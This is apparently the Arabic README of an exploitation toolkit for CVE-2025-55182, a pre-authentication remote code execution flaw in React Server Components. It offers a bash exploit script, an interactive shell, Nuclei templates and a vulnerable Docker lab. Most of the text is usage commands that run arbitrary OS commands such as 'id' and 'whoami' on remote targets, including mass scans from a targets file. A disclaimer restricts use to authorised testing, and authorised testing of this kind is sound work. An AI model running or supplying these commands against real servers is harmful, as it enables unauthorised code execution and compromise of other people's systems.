
ماسح ومجموعة أدوات استغلال لـ CVE-2025-55182، ثغرة RCE حرجة قبل المصادقة في مكونات خادم React. يتضمن الكشف وصدفة تفاعلية ونشر Docker وتحليل تقني تعليمي.
مجموعة أدوات شاملة لاختبار الأمان لثغرة CVE-2025-55182، وهي ثغرة حرجة لتنفيذ الأكواد عن بُعد قبل المصادقة في مكوّنات React Server.
هل تريد فهم هذه الثغرة بنسبة 100%؟
📖 اقرأ تحليلنا الفني الكامل - كل ما تحتاج معرفته:
- لماذا يعمل React على الخادم (وليس المتصفح فقط!)
- كيف يعمل الهجوم مع مخططات توضيحية مرئية
- شرح كل سطر في الاستغلال
- من المفاهيم الأساسية إلى الاستغلال المتقدم
- لا تتطلب أي معرفة مسبقة!
مثالي لـ: تقارير الأمان، المواد التدريبية، تحليل التهديدات، أو مجرد التعلم!
تؤثر هذه الثغرة على إصدارات مكوّنات React Server من 19.0.0 حتى 19.2.0، مما يؤثر على:
react-server-dom-parcelreact-server-dom-turbopackreact-server-dom-webpackالأثر: يمكن للمهاجمين غير المصادَق عليهم تنفيذ أكواد عشوائية عن بُعد من خلال إلغاء تسلسل غير آمن لحمولات طلبات HTTP إلى نقاط نهاية Server Function.
👉 اقرأ التحليل الفني الكامل - دليل شامل يغطي:
مثالي لـ:
لا حاجة لمعرفة مسبقة - يبدأ من الأساسيات ويتدرج حتى تقنيات الاستغلال المتقدمة!
لأغراض الاختبار الأمني التعليمي والمصرّح به فقط
هذه الأداة مخصصة حصريًا لـ:
تحذير: الوصول غير المصرّح به إلى أنظمة الكمبيوتر غير قانوني. يتحمل المستخدمون مسؤولية الامتثال لجميع القوانين واللوائح المعمول بها. لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه الأداة.
لا يتطلب أي تبعيات! سكربت bash واحد للاختبار السريع.
👉 EXPLOIT_SCRIPT.md - سكربت مستقل يعمل على:
# Single target
./exploit-cve-2025-55182.sh http://target.com
# Multiple targets
./exploit-cve-2025-55182.sh -f targets.txt
مجموعة أدوات كاملة مع Docker وواجهة ويب وتكامل مع Nuclei. تابع القراءة أدناه لمعرفة التثبيت.
| الميزة | الوصف |
|---|---|
| 🐳 دعم Docker | نشر بأمر واحد باستخدام Docker Compose |
| 🌐 واجهة ويب | واجهة ويب سهلة الاستخدام للمستخدمين غير التقنيين |
| 🔍 بيئة اختبار قابلة للاستغلال | تشغيل تطبيق محلي قابل للاستغلال للاختبار الآمن |
| 🎯 فحص عن بُعد | اختبار أهداف خارجية بحثًا عن الثغرات |
| ⚡ قشرة تفاعلية | تنفيذ أوامر نظام التشغيل ورؤية النتائج في الوقت الفعلي |
| 📊 أوضاع فحص متعددة | كشف فقط أو استغلال كامل |
| 📝 تقارير مفصلة | تنسيقات إخراج JSON ونصية |
| 🔧 تكامل Nuclei | الاستفادة من ماسح ProjectDiscovery القوي |
اختر طريقة التثبيت:
# Clone repository
git clone https://github.com/StealthMoud/CVE-2025-55182-Scanner.git
cd CVE-2025-55182-Scanner
# Start scanner
docker compose up
# Access web interface at http://localhost:3001
# Clone repository
git clone https://github.com/StealthMoud/CVE-2025-55182-Scanner.git
cd CVE-2025-55182-Scanner
# Install Nuclei (macOS)
brew install nuclei
# Make scripts executable
chmod +x scripts/*.sh
📖 إعداد مفصّل: راجع SETUP_GUIDE.md للحصول على تعليمات خطوة بخطوة
⚡ مرجع سريع: راجع QUICKSTART.md لحالات الاستخدام الشائعة
بدء واجهة الويب:
docker compose up
# Open browser: http://localhost:3001
البدء مع تطبيق الاختبار القابل للاستغلال:
docker compose --profile with-vulnerable-app up
# Scanner: http://localhost:3001
# Vulnerable app: http://localhost:3000
مهم لمستخدمي Docker: عند الفحص من Docker، استخدم:
http://host.docker.internal:3000 لفحص التطبيقات على جهاز المضيفhttp://vulnerable-app:3000 لفحص التطبيق القابل للاستغلال داخل الحاويةhttps://example.com للأهداف الخارجيةhttp://localhost:3001أنشئ واختبر مقابل تطبيق محلي قابل للاستغلال:
# Terminal 1: Start vulnerable app
./scripts/setup-vulnerable-app.sh
# App will run on http://localhost:3000
# Terminal 2: Test it
./scripts/test-local.sh
# Execute custom commands
./scripts/test-local.sh "whoami"
./scripts/test-local.sh "pwd"
./scripts/test-local.sh "ls -la"
# Basic scan
./scripts/test-remote.sh https://target.com
# With command execution
./scripts/test-remote.sh https://target.com "id"
# Create targets file
cat > targets.txt << EOF
https://target1.com
https://target2.com
https://target3.com
EOF
# Scan all targets
./scripts/test-multiple.sh targets.txt
كشف الثغرات الأساسي:
nuclei -t templates/cve-2025-55182.yaml -u http://localhost:3000 -v
تنفيذ أوامر مخصصة:
nuclei -t templates/cve-2025-55182-interactive.yaml \
-u http://localhost:3000 \
-var cmd="whoami" \
-v
فحص أهداف متعددة:
nuclei -t templates/cve-2025-55182.yaml -l targets.txt -v